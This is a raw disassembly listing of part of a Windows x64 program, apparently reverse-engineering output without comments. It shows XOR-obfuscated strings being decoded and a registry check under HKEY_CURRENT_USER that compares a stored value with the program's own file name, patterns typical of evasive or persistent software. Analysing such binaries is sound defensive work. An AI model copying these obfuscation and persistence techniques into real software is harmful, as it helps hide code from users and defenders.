movaps xmm0, xmmword [rsp + 0x410]
movdqa xmmword [rsp + 0x5d0], xmm0
lea r8, [rsp + 0x5d0]
mov rdx, qword [0x7ff60574b280]
lea rcx, [rsp + 0x298]
call fcn.7ff6051de060
mov rax, qword [rsp + 0x298]
mov qword [0x7ff60574b390], rax
movdqa xmm1, xmmword [0x7ff605631e60]
movdqu xmmword [rsp + 0xc0], xmm1
movdqa xmm2, xmmword [0x7ff605631fc0]
movdqu xmmword [rsp + 0xd0], xmm2
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0xc1], al
xor byte [rsp + 0xc2], cl
xor byte [rsp + 0xc3], cl
xor byte [rsp + 0xc4], cl
xor byte [rsp + 0xc5], cl
xor byte [rsp + 0xc6], cl
xor byte [rsp + 0xc7], cl
xor byte [rsp + 0xc8], cl
xor byte [rsp + 0xc9], cl
xor byte [rsp + 0xca], cl
xor byte [rsp + 0xcb], cl
xor byte [rsp + 0xcc], cl
xor byte [rsp + 0xcd], cl
xor byte [rsp + 0xce], cl
xor byte [rsp + 0xcf], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0xd0], al
xor byte [rsp + 0xd1], cl
xor byte [rsp + 0xd2], cl
xor byte [rsp + 0xd3], cl
xor byte [rsp + 0xd4], cl
xor byte [rsp + 0xd5], cl
xor byte [rsp + 0xd6], cl
xor byte [rsp + 0xd7], cl
xor byte [rsp + 0xd8], cl
xor byte [rsp + 0xd9], cl
xor byte [rsp + 0xda], cl
xor byte [rsp + 0xdb], cl
xor byte [rsp + 0xdc], cl
xor byte [rsp + 0xdd], cl
xor byte [rsp + 0xde], cl
xor byte [rsp + 0xdf], cl
mov byte [rsp + 0xe0], 0
lea rax, [rsp + 0xc1]
mov qword [rsp + 0x4d0], rax
lea rcx, [rsp + 0xc1]
mov rax, r13
inc rax
cmp byte [rcx + rax], 0
jne 0x7ff6051c13b0
mov qword [rsp + 0x4d8], rax
mov qword [rsp + 0x290], r12
movaps xmm0, xmmword [rsp + 0x4d0]
movdqa xmmword [rsp + 0x5c0], xmm0
lea r8, [rsp + 0x5c0]
mov rdx, qword [0x7ff60574b280]
lea rcx, [rsp + 0x290]
call fcn.7ff6051de060
mov rax, qword [rsp + 0x290]
mov qword [0x7ff60574b398], rax
movdqa xmm1, xmmword [0x7ff605632370]
movdqu xmmword [rsp + 0x98], xmm1
movdqa xmm2, xmmword [0x7ff605632140]
movdqu xmmword [rsp + 0xa8], xmm2
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x99], al
xor byte [rsp + 0x9a], cl
xor byte [rsp + 0x9b], cl
xor byte [rsp + 0x9c], cl
xor byte [rsp + 0x9d], cl
xor byte [rsp + 0x9e], cl
xor byte [rsp + 0x9f], cl
xor byte [rsp + 0xa0], cl
xor byte [rsp + 0xa1], cl
xor byte [rsp + 0xa2], cl
xor byte [rsp + 0xa3], cl
xor byte [rsp + 0xa4], cl
xor byte [rsp + 0xa5], cl
xor byte [rsp + 0xa6], cl
xor byte [rsp + 0xa7], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0xa8], al
xor byte [rsp + 0xa9], cl
xor byte [rsp + 0xaa], cl
xor byte [rsp + 0xab], cl
xor byte [rsp + 0xac], cl
xor byte [rsp + 0xad], cl
xor byte [rsp + 0xae], cl
xor byte [rsp + 0xaf], cl
xor byte [rsp + 0xb0], cl
xor byte [rsp + 0xb1], cl
xor byte [rsp + 0xb2], cl
xor byte [rsp + 0xb3], cl
xor byte [rsp + 0xb4], cl
xor byte [rsp + 0xb5], cl
xor byte [rsp + 0xb6], cl
xor byte [rsp + 0xb7], cl
mov byte [rsp + 0xb8], 0
lea rax, [rsp + 0x99]
mov qword [rsp + 0x4e0], rax
lea rcx, [rsp + 0x99]
mov rax, r13
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x7ff6051c1540
mov qword [rsp + 0x4e8], rax
mov qword [rsp + 0x288], r12
movaps xmm0, xmmword [rsp + 0x4e0]
movdqa xmmword [rsp + 0x5b0], xmm0
lea r8, [rsp + 0x5b0]
mov rdx, qword [0x7ff60574b280]
lea rcx, [rsp + 0x288]
call fcn.7ff6051de060
mov rax, qword [rsp + 0x288]
mov qword [0x7ff60574b3a0], rax
movdqa xmm1, xmmword [0x7ff605631db0]
movdqu xmmword [rsp + 0x138], xmm1
movdqa xmm2, xmmword [0x7ff605631ff0]
movdqu xmmword [rsp + 0x148], xmm2
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x139], al
xor byte [rsp + 0x13a], cl
xor byte [rsp + 0x13b], cl
xor byte [rsp + 0x13c], cl
xor byte [rsp + 0x13d], cl
xor byte [rsp + 0x13e], cl
xor byte [rsp + 0x13f], cl
xor byte [rsp + 0x140], cl
xor byte [rsp + 0x141], cl
xor byte [rsp + 0x142], cl
xor byte [rsp + 0x143], cl
xor byte [rsp + 0x144], cl
xor byte [rsp + 0x145], cl
xor byte [rsp + 0x146], cl
xor byte [rsp + 0x147], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x148], al
xor byte [rsp + 0x149], cl
xor byte [rsp + 0x14a], cl
xor byte [rsp + 0x14b], cl
xor byte [rsp + 0x14c], cl
xor byte [rsp + 0x14d], cl
xor byte [rsp + 0x14e], cl
xor byte [rsp + 0x14f], cl
xor byte [rsp + 0x150], cl
xor byte [rsp + 0x151], cl
xor byte [rsp + 0x152], cl
xor byte [rsp + 0x153], cl
xor byte [rsp + 0x154], cl
xor byte [rsp + 0x155], cl
xor byte [rsp + 0x156], cl
xor byte [rsp + 0x157], cl
mov byte [rsp + 0x158], 0
lea rax, [rsp + 0x139]
mov qword [rsp + 0x3c0], rax
lea rcx, [rsp + 0x139]
mov rax, r13
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x7ff6051c16d0
mov qword [rsp + 0x3c8], rax
mov qword [rsp + 0x280], r12
movaps xmm0, xmmword [rsp + 0x3c0]
movdqa xmmword [rsp + 0x5a0], xmm0
lea r8, [rsp + 0x5a0]
mov rdx, qword [0x7ff60574b280]
lea rcx, [rsp + 0x280]
call fcn.7ff6051de060
mov rax, qword [rsp + 0x280]
mov qword [0x7ff60574b3a8], rax
mov r8d, 0x104
lea rdx, [rsp + 0xda0]
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleFileNameW]
lea rax, [rsp + 0xda0]
mov rdx, r13
inc rdx
cmp word [rax + rdx*2], 0
jne 0x7ff6051c1746
mov rax, qword [0x7ff6057441a8]
cmp rdx, rax
ja 0x7ff6051c1794
lea rdi, [0x7ff605744190]
cmp rax, 7
cmova rdi, qword [0x7ff605744190]
mov qword [0x7ff6057441a0], rdx
lea rbx, [rdx + rdx]
mov r8, rbx
lea rdx, [rsp + 0xda0]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov word [rdi + rbx], r12w
jmp 0x7ff6051c17a8
lea r9, [rsp + 0xda0]
lea rcx, [0x7ff605744190]
call fcn.7ff605169050
lea rcx, [rsp + 0xda0]
call qword [sym.imp.shlwapi.dll_PathFindFileNameW]
mov rdx, rax
lea rbx, [0x7ff605743220]
mov rcx, rbx
call fcn.7ff6051688a0
xorps xmm0, xmm0
movups xmmword [rsp + 0x460], xmm0
mov qword [rsp + 0x470], r12
mov qword [rsp + 0x478], r12
mov r8d, 6
lea rdx, [0x7ff605630170]
lea rcx, [rsp + 0x460]
call fcn.7ff6051636d0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x440], xmm0
mov qword [rsp + 0x450], r12
mov qword [rsp + 0x458], r12
mov r8d, 0x1a
lea rdx, [0x7ff6056300a0]
lea rcx, [rsp + 0x440]
call fcn.7ff6051636d0
nop
lea r8, [rsp + 0x460]
lea rcx, [rsp + 0x440]
call fcn.7ff6051b4620
nop
lea rcx, [rsp + 0x440]
call fcn.7ff6051622c0
nop
lea rcx, [rsp + 0x460]
call fcn.7ff6051622c0
mov eax, dword [rsi]
cmp dword [0x7ff60574b6ec], eax
jle 0x7ff6051c1a48
lea rcx, [0x7ff60574b6ec]
call fcn.7ff60542ad80
cmp dword [0x7ff60574b6ec], 0xffffffff
jne 0x7ff6051c1a48
xorps xmm0, xmm0
movups xmmword [rsp + 0x3d0], xmm0
mov qword [rsp + 0x3e0], r12
mov qword [rsp + 0x3e8], r12
mov r8d, 0x1a
lea rdx, [0x7ff6056300a0]
lea rcx, [rsp + 0x3d0]
call fcn.7ff6051636d0
nop
lea rax, [rsp + 0xa88]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, [0x7ff60562fe20]
mov rcx, 0xffffffff80000001
call qword [sym.imp.advapi32.dll_RegOpenKeyExW]
test eax, eax
jne 0x7ff6051c1a26
mov dword [rsp + 0xb80], 0x800
cmp qword [0x7ff605743238], 7
cmova rbx, qword [0x7ff605743220]
lea rax, [rsp + 0xb80]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0xfb0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rsp + 0xa88]
call qword [sym.imp.advapi32.dll_RegQueryValueExW]
mov ebx, eax
mov rcx, qword [rsp + 0xa88]
call qword [sym.imp.advapi32.dll_RegCloseKey]
test ebx, ebx
jne 0x7ff6051c1a26
xorps xmm0, xmm0
movups xmmword [rsp + 0xbb0], xmm0
mov qword [rsp + 0xbc0], r12
mov qword [rsp + 0xbc8], r12
lea rax, [rsp + 0xfb0]
mov r8, r13
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x7ff6051c1980
lea rdx, [rsp + 0xfb0]
lea rcx, [rsp + 0xbb0]
call fcn.7ff6051636d0
lea rcx, [rsp + 0x3d0]
cmp qword [rsp + 0x3e8], 7
cmova rcx, qword [rsp + 0x3d0]
lea r8, [rsp + 0xbb0]
cmp qword [rsp + 0xbc8], 7
cmova r8, qword [rsp + 0xbb0]
mov rdx, qword [rsp + 0xbc0]
cmp rdx, qword [rsp + 0x3e0]
jne 0x7ff6051c1a15
test rdx, rdx
je 0x7ff6051c1a04
sub r8, rcx
nop
movzx eax, word [r8 + rcx]
cmp ax, word [rcx]
jne 0x7ff6051c1a15
add rcx, 2
sub rdx, 1
jne 0x7ff6051c19f0
mov bl, 1
lea rcx, [rsp + 0xbb0]
call fcn.7ff6051622c0
jmp 0x7ff6051c1a28
xor bl, bl
lea rcx, [rsp + 0xbb0]
call fcn.7ff6051622c0
jmp 0x7ff6051c1a28
xor bl, bl
mov byte [0x7ff60574b6dc], bl
lea rcx, [rsp + 0x3d0]
call fcn.7ff6051622c0
nop
lea rcx, [0x7ff60574b6ec]
call fcn.7ff60542ad14
movdqa xmm1, xmmword [0x7ff605632250]
movdqu xmmword [rsp + 0x198], xmm1
mov cl, 0x2a
mov r8b, 0x22
mov r9b, 0x2c
mov r10b, 0x2b
mov r11b, 0x36
mov bl, 0x6b
mov dil, 0x2f
movzx esi, r11b
movzx r14d, cl
movzx r15d, r10b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd edx, xmm1
xor al, dl
mov byte [rsp + 0x199], al
xor byte [rsp + 0x19a], dl
xor byte [rsp + 0x19b], dl
xor byte [rsp + 0x19c], dl
xor byte [rsp + 0x19d], dl
xor byte [rsp + 0x19e], dl
xor byte [rsp + 0x19f], dl
xor byte [rsp + 0x1a0], dl
xor byte [rsp + 0x1a1], dl
xor byte [rsp + 0x1a2], dl
xor byte [rsp + 0x1a3], dl
xor byte [rsp + 0x1a4], dl
xor byte [rsp + 0x1a5], dl
xor byte [rsp + 0x1a6], dl
xor byte [rsp + 0x1a7], dl
xor cl, dl
mov byte [rsp + 0x1a8], cl
xor r8b, dl
mov byte [rsp + 0x1a9], r8b
xor r9b, dl
mov byte [rsp + 0x1aa], r9b
xor r10b, dl
mov byte [rsp + 0x1ab], r10b
xor r11b, dl
mov byte [rsp + 0x1ac], r11b
xor bl, dl
mov byte [rsp + 0x1ad], bl
xor dil, dl
mov byte [rsp + 0x1ae], dil
xor sil, dl
mov byte [rsp + 0x1af], sil
xor r14b, dl
mov byte [rsp + 0x1b0], r14b
xor r15b, dl
mov byte [rsp + 0x1b1], r15b
mov byte [rsp + 0x1b2], 0
lea rax, [rsp + 0x199]
mov qword [rsp + 0x210], rax
lea rcx, [rsp + 0x199]
mov rax, r13
inc rax
cmp byte [rcx + rax], 0
jne 0x7ff6051c1b81
mov qword [rsp + 0x218], rax
movaps xmm0, xmmword [rsp + 0x210]
movdqa xmmword [rsp + 0x590], xmm0
lea rdx, [rsp + 0x590]
lea rcx, [rsp + 0xbd0]
call fcn.7ff605169f70
nop
lea rcx, [rsp + 0xbd0]
call fcn.7ff605168360
test al, al
je 0x7ff6051c1e10
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0xc70]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0xbd0]
cmp qword [rsp + 0xbe8], 7
cmova rdx, qword [rsp + 0xbd0]
lea rcx, [rsp + 0xc70]
call fcn.7ff605166e30
mov rax, qword [rsp + 0xc70]
movsxd rcx, dword [rax + 4]
lea rax, [0x7ff60562a038]
mov qword [rsp + rcx + 0xc70], rax
mov rax, qword [rsp + 0xc70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0xc6c], edx
cmp qword [rsp + 0xd00], 0
je 0x7ff6051c1dcc
mov byte [rsp + 0xba0], 0
xor edx, edx
lea rcx, [rsp + 0xba8]
call fcn.7ff6051cb750
nop
mov qword [rsp + 0x978], r12
lea rax, [rsp + 0xc70]
mov qword [rsp + 0x3f8], rax
mov rax, qword [rsp + 0xc70]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0xc70]
add rcx, rax
call qword [sym.imp.msvcp140.dll_public:_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ios_char__struct_std::char_traits_char__::rdbuf_void_const___ptr64]
mov qword [rsp + 0x400], rax
lea r8, [rsp + 0x940]
lea rdx, [rsp + 0x3f8]
lea rcx, [rsp + 0x980]
call fcn.7ff6051cf950
nop
lea r8, [rsp + 0xba0]
mov rcx, rax
call fcn.7ff6051cac30
nop
lea rcx, [rsp + 0x9c8]
call fcn.7ff6051c9df0
mov rcx, qword [rsp + 0x9b8]
test rcx, rcx
je 0x7ff6051c1cff
mov rax, qword [rcx]
lea rdx, [rsp + 0x980]
cmp rcx, rdx
setne dl
call qword [rax + 0x20]
xorps xmm0, xmm0
movups xmmword [rsp + 0x480], xmm0
mov qword [rsp + 0x490], r12
mov qword [rsp + 0x498], r12
mov r8d, 5
lea rdx, [0x7ff60562ff08]
lea rcx, [rsp + 0x480]
call fcn.7ff605163830
lea rdx, [rsp + 0x480]
lea rcx, [rsp + 0xba0]
call fcn.7ff6051c8dc0
lea rdx, [rsp + 0xbf0]
mov rcx, rax
call fcn.7ff6051cefa0
lea rcx, [rsp + 0xbf0]
cmp qword [rsp + 0xc08], 0xf
cmova rcx, qword [rsp + 0xbf0]
lea rdx, [0x7ff605749b40]
sub rdx, rcx
nop dword [rax]
movzx eax, byte [rcx]
mov byte [rcx + rdx], al
lea rcx, [rcx + 1]
test al, al
jne 0x7ff6051c1d80
lea rcx, [rsp + 0xbf0]
call fcn.7ff605162330
nop
movzx edx, byte [rsp + 0xba0]
lea rcx, [rsp + 0xba8]
call fcn.7ff6051cb2c0
nop
jmp 0x7ff6051c1dcc
lea rcx, [rsp + 0xc80]
call fcn.7ff6051620c0
test rax, rax
jne 0x7ff6051c1e03
mov rax, qword [rsp + 0xc70]
movsxd rdx, dword [rax + 4]
lea rcx, [rsp + 0xc70]
add rcx, rdx
xor r8d, r8d
lea edx, [r8 + 2]
call qword [0x7ff6054316e8]
nop
lea rcx, [rsp + 0xc70]
call fcn.7ff605166ab0
xorps xmm0, xmm0
movups xmmword [rsp + 0xb70], xmm0
mov ecx, 0x58
call fcn.7ff60542adf8
mov rdi, rax
mov qword [rsp + 0x210], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov dword [rax + 8], 1
mov dword [rax + 0xc], 1
lea rax, [0x7ff605631410]
mov qword [rdi], rax
lea rbx, [rdi + 0x10]
mov dl, 2
mov rcx, rbx
call fcn.7ff6051dc2f0
nop
mov qword [0x7ff60574b290], rbx
mov rbx, qword [0x7ff60574b298]
mov qword [0x7ff60574b298], rdi
test rbx, rbx
je 0x7ff6051c1ea9
mov eax, r13d
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x7ff6051c1ea2
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r13d
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x7ff6051c1ea2
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
mov rdi, qword [0x7ff60574b298]
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x270], xmm0
test rdi, rdi
je 0x7ff6051c1ecd
movups xmm0, xmmword [0x7ff60574b290]
movaps xmmword [rsp + 0x270], xmm0
lock inc dword [rdi + 0xc]
xorps xmm1, xmm1
movdqa xmmword [rsp + 0xb70], xmm1
mov rdx, qword [rsp + 0x278]
test rdx, rdx
je 0x7ff6051c1f0a
mov eax, dword [rdx + 8]
test eax, eax
je 0x7ff6051c1f02
nop dword [rax]
lea ecx, [rax + 1]
lock cmpxchg dword [rdx + 8], ecx
je 0x7ff6051c2b65
test eax, eax
jne 0x7ff6051c1ef0
mov rdx, qword [rsp + 0x278]
test rdx, rdx
je 0x7ff6051c1f2a
mov eax, r13d
lock xadd dword [rdx + 0xc], eax
cmp eax, 1
jne 0x7ff6051c1f2a
mov rcx, qword [rsp + 0x278]
mov rax, qword [rcx]
call qword [rax + 8]
mov rax, qword [rsp + 0x220]
mov eax, dword [rax]
cmp dword [0x7ff60574b728], eax
jle 0x7ff6051c2008
lea rcx, [0x7ff60574b728]
call fcn.7ff60542ad80
cmp dword [0x7ff60574b728], 0xffffffff
jne 0x7ff6051c2008
xorps xmm0, xmm0
movups xmmword [0x7ff60574b690], xmm0
movups xmmword [0x7ff60574b6a0], xmm0
movups xmmword [0x7ff60574b6b0], xmm0
movups xmmword [0x7ff60574b6c0], xmm0
mov dword [0x7ff60574b690], 0
mov qword [0x7ff60574b698], r12
mov qword [0x7ff60574b6a0], r12
mov ecx, 0x20
call fcn.7ff60542adf8
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [0x7ff60574b698], rax
mov qword [0x7ff60574b6a8], r12
xorps xmm0, xmm0
movdqu xmmword [0x7ff60574b6b0], xmm0
mov qword [0x7ff60574b6c0], 7
mov qword [0x7ff60574b6c8], 8
mov dword [0x7ff60574b690], 0x3f800000
mov r8, rax
mov edx, 0x10
lea rcx, [0x7ff60574b6a8]
call fcn.7ff6051cc710
nop
lea rcx, [0x7ff605430a40]
call fcn.7ff60542b404
nop
lea rcx, [0x7ff60574b728]
call fcn.7ff60542ad14
mov rax, qword [rsp + 0xb70]
mov qword [rsp + 0x220], rax
lea rcx, [0x7ff60562f3f8]
mov qword [rsp + 0x860], rcx
lea rax, [rsp + 0xb70]
mov qword [rsp + 0x868], rax
lea rax, [rsp + 0x860]
mov qword [rsp + 0x898], rax
mov byte [rsp + 0x1d8], 0x5f
mov al, 0x8f
mov cl, 0xee
movzx edx, al
mov r8b, 0xea
xor r9d, r9d
xor al, 0x5f
mov byte [rsp + 0x1d9], al
xor cl, 0x5f
mov byte [rsp + 0x1da], cl
xor dl, 0x5f
mov byte [rsp + 0x1db], dl
xor r8b, 0x5f
mov byte [rsp + 0x1dc], r8b
mov byte [rsp + 0x1dd], r9b
xorps xmm0, xmm0
movups xmmword [rsp + 0x360], xmm0
mov qword [rsp + 0x370], r12
mov qword [rsp + 0x378], r12
lea rax, [rsp + 0x1d9]
mov r8, r13
inc r8
cmp byte [rax + r8], r9b
jne 0x7ff6051c20b3
lea rdx, [rsp + 0x1d9]
lea rcx, [rsp + 0x360]
call fcn.7ff605163830
nop
mov byte [rsp + 0x1e8], 0x55
mov al, 0x64
mov cl, 0x75
mov dl, 0x19
mov r8b, 0x3a
mov r9b, 0x32
mov r10b, 0x3c
mov r11b, 0x3b
movzx ebx, cl
mov dil, 0x25
mov sil, 0x34
movzx r14d, r9b
xor al, 0x55
mov byte [rsp + 0x1e9], al
xor cl, 0x55
mov byte [rsp + 0x1ea], cl
xor dl, 0x55
mov byte [rsp + 0x1eb], dl
xor r8b, 0x55
mov byte [rsp + 0x1ec], r8b
xor r9b, 0x55
mov byte [rsp + 0x1ed], r9b
xor r10b, 0x55
mov byte [rsp + 0x1ee], r10b
xor r11b, 0x55
mov byte [rsp + 0x1ef], r11b
xor bl, 0x55
mov byte [rsp + 0x1f0], bl
xor dil, 0x55
mov byte [rsp + 0x1f1], dil
xor sil, 0x55
mov byte [rsp + 0x1f2], sil
xor r14b, 0x55
mov byte [rsp + 0x1f3], r14b
mov r15b, 0x30
xor r15b, 0x55
mov byte [rsp + 0x1f4], r15b
mov byte [rsp + 0x1f5], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x380], xmm0
mov qword [rsp + 0x390], r12
mov qword [rsp + 0x398], r12
lea rax, [rsp + 0x1e9]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x7ff6051c21b1
lea rdx, [rsp + 0x1e9]
lea rcx, [rsp + 0x380]
call fcn.7ff605163830
nop
mov rbx, qword [rsp + 0x220]
movups xmm1, xmmword [rsp + 0x380]
movups xmmword [rsp + 0x660], xmm1
movups xmm0, xmmword [rsp + 0x390]
movups xmmword [rsp + 0x670], xmm0
mov qword [rsp + 0x390], r12
mov qword [rsp + 0x398], 0xf
mov byte [rsp + 0x380], 0
movups xmm1, xmmword [rsp + 0x360]
movups xmmword [rsp + 0x680], xmm1
movups xmm0, xmmword [rsp + 0x370]
movups xmmword [rsp + 0x690], xmm0
mov qword [rsp + 0x370], r12
mov qword [rsp + 0x378], 0xf
mov byte [rsp + 0x360], 0
mov qword [rsp + 0x6d8], r12
mov rcx, qword [rsp + 0x898]
test rcx, rcx
je 0x7ff6051c227b
mov rax, qword [rcx]
lea rdx, [rsp + 0x6a0]
call qword [rax]
mov qword [rsp + 0x6d8], rax
lea r9, [rsp + 0x660]
lea r8, [rbx + 0x30]
lea rdx, [rsp + 0x8a0]
lea rcx, [rbx + 0x38]
call fcn.7ff6051dd6f0
nop
mov rcx, qword [rsp + 0x6d8]
test rcx, rcx
je 0x7ff6051c22c2
mov rax, qword [rcx]
lea rdx, [rsp + 0x6a0]
cmp rcx, rdx
setne dl
call qword [rax + 0x20]
mov qword [rsp + 0x6d8], r12
lea rcx, [rsp + 0x680]
call fcn.7ff605162330
lea rcx, [rsp + 0x660]
call fcn.7ff605162330
mov rax, qword [rbx + 0x30]
mov qword [rsp + 0x3f0], rax
inc rax
mov qword [rbx + 0x30], rax
mov dword [rsp + 0x258], r12d
lea r9, [rsp + 0x3f0]
lea r8, [rsp + 0x258]
lea rdx, [rsp + 0x8c0]
call fcn.7ff6051cf5c0
nop
lea rcx, [rsp + 0x380]
call fcn.7ff605162330
nop
lea rcx, [rsp + 0x360]
call fcn.7ff605162330
nop
mov rcx, qword [rsp + 0x898]
test rcx, rcx
je 0x7ff6051c2352
mov rax, qword [rcx]
lea rdx, [rsp + 0x860]
cmp rcx, rdx
setne dl
call qword [rax + 0x20]
mov rbx, qword [rsp + 0xb70]
lea rax, [0x7ff60562fa10]
mov qword [rsp + 0x820], rax
lea rax, [rsp + 0xb70]
mov qword [rsp + 0x828], rax
lea rax, [rsp + 0x820]
mov qword [rsp + 0x858], rax
mov byte [rsp + 0x1e0], 0x5e
mov al, 0x8e
mov cl, 0xef
movzx edx, al
mov r8b, 0xeb
xor r9d, r9d
xor al, 0x5e
mov byte [rsp + 0x1e1], al
xor cl, 0x5e
mov byte [rsp + 0x1e2], cl
xor dl, 0x5e
mov byte [rsp + 0x1e3], dl
xor r8b, 0x5e
mov byte [rsp + 0x1e4], r8b
mov byte [rsp + 0x1e5], r9b
xorps xmm0, xmm0
movups xmmword [rsp + 0x2c0], xmm0
mov qword [rsp + 0x2d0], r12
mov qword [rsp + 0x2d8], r12
lea rax, [rsp + 0x1e1]
mov r8, r13
inc r8
cmp byte [rax + r8], r9b
jne 0x7ff6051c23f5
lea rdx, [rsp + 0x1e1]
lea rcx, [rsp + 0x2c0]
call fcn.7ff605163830
nop
movdqa xmm1, xmmword [0x7ff605631cf0]
movdqu xmmword [rsp + 0x188], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x189], al
xor byte [rsp + 0x18a], cl
xor byte [rsp + 0x18b], cl
xor byte [rsp + 0x18c], cl
xor byte [rsp + 0x18d], cl
xor byte [rsp + 0x18e], cl
xor byte [rsp + 0x18f], cl
xor byte [rsp + 0x190], cl
xor byte [rsp + 0x191], cl
xor byte [rsp + 0x192], cl
xor byte [rsp + 0x193], cl
xor byte [rsp + 0x194], cl
xor byte [rsp + 0x195], cl
xor byte [rsp + 0x196], cl
mov byte [rsp + 0x197], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x340], xmm0
mov qword [rsp + 0x350], r12
mov qword [rsp + 0x358], r12
lea rax, [rsp + 0x189]
mov r8, r13
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x7ff6051c24d0
lea rdx, [rsp + 0x189]
lea rcx, [rsp + 0x340]
call fcn.7ff605163830
nop
movups xmm1, xmmword [rsp + 0x340]
movups xmmword [rsp + 0x5e0], xmm1
movups xmm0, xmmword [rsp + 0x350]
movups xmmword [rsp + 0x5f0], xmm0
mov qword [rsp + 0x350], r12
mov qword [rsp + 0x358], 0xf
mov byte [rsp + 0x340], 0
movups xmm1, xmmword [rsp + 0x2c0]
movups xmmword [rsp + 0x600], xmm1
movups xmm0, xmmword [rsp + 0x2d0]
movups xmmword [rsp + 0x610], xmm0
mov qword [rsp + 0x2d0], r12
mov qword [rsp + 0x2d8], 0xf
mov byte [rsp + 0x2c0], 0
mov qword [rsp + 0x658], r12
mov rcx, qword [rsp + 0x858]
test rcx, rcx
je 0x7ff6051c2592
mov rax, qword [rcx]
lea rdx, [rsp + 0x620]
call qword [rax]
mov qword [rsp + 0x658], rax
lea r9, [rsp + 0x5e0]
lea r8, [rbx + 0x30]
lea rdx, [rsp + 0x8f0]
lea rcx, [rbx + 0x38]
call fcn.7ff6051dd6f0
nop
mov rcx, qword [rsp + 0x658]
test rcx, rcx
je 0x7ff6051c25d9
mov rax, qword [rcx]
lea rdx, [rsp + 0x620]
cmp rcx, rdx
setne dl
call qword [rax + 0x20]
mov qword [rsp + 0x658], r12
lea rcx, [rsp + 0x600]
call fcn.7ff605162330
lea rcx, [rsp + 0x5e0]
call fcn.7ff605162330
mov rax, qword [rbx + 0x30]
mov qword [rsp + 0x2a0], rax
inc rax
mov qword [rbx + 0x30], rax
mov edi, 1
mov dword [rsp + 0x248], edi
lea r9, [rsp + 0x2a0]
lea r8, [rsp + 0x248]
lea rdx, [rsp + 0x900]
call fcn.7ff6051cf5c0
nop
lea rcx, [rsp + 0x340]
call fcn.7ff605162330
nop
lea rcx, [rsp + 0x2c0]
call fcn.7ff605162330
nop
mov rcx, qword [rsp + 0x858]
test rcx, rcx
je 0x7ff6051c266d
mov rax, qword [rcx]
lea rdx, [rsp + 0x820]
cmp rcx, rdx
setne dl
call qword [rax + 0x20]
mov rbx, qword [rsp + 0xb70]
lea rax, [0x7ff60562fa70]
mov qword [rsp + 0x7e0], rax
lea rax, [rsp + 0xb70]
mov qword [rsp + 0x7e8], rax
lea rax, [rsp + 0x7e0]
mov qword [rsp + 0x818], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x300], xmm0
mov qword [rsp + 0x310], r12
mov qword [rsp + 0x318], r12
mov r8d, 4
lea rdx, [0x7ff605630180]
lea rcx, [rsp + 0x300]
call fcn.7ff605163830
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x2e0], xmm0
mov qword [rsp + 0x2f0], r12
mov qword [rsp + 0x2f8], r12
mov r8d, 0xe
lea rdx, [0x7ff605630188]
lea rcx, [rsp + 0x2e0]
call fcn.7ff605163830
nop
movups xmm1, xmmword [rsp + 0x2e0]
movups xmmword [rsp + 0x760], xmm1
movups xmm0, xmmword [rsp + 0x2f0]
movups xmmword [rsp + 0x770], xmm0
mov qword [rsp + 0x2f0], r12
mov qword [rsp + 0x2f8], 0xf
mov byte [rsp + 0x2e0], 0
movups xmm1, xmmword [rsp + 0x300]
movups xmmword [rsp + 0x780], xmm1
movups xmm0, xmmword [rsp + 0x310]
movups xmmword [rsp + 0x790], xmm0
mov qword [rsp + 0x310], r12
mov qword [rsp + 0x318], 0xf
mov byte [rsp + 0x300], 0
mov qword [rsp + 0x7d8], r12
mov rcx, qword [rsp + 0x818]
test rcx, rcx
je 0x7ff6051c27b2
mov rax, qword [rcx]
lea rdx, [rsp + 0x7a0]
call qword [rax]
mov qword [rsp + 0x7d8], rax
lea r9, [rsp + 0x760]
lea r8, [rbx + 0x30]
lea rdx, [rsp + 0x8b0]
lea rcx, [rbx + 0x38]
call fcn.7ff6051dd6f0
nop
mov rcx, qword [rsp + 0x7d8]
test rcx, rcx
je 0x7ff6051c27f9
mov rax, qword [rcx]
lea rdx, [rsp + 0x7a0]
cmp rcx, rdx
setne dl
call qword [rax + 0x20]
mov qword [rsp + 0x7d8], r12
lea rcx, [rsp + 0x780]
call fcn.7ff605162330
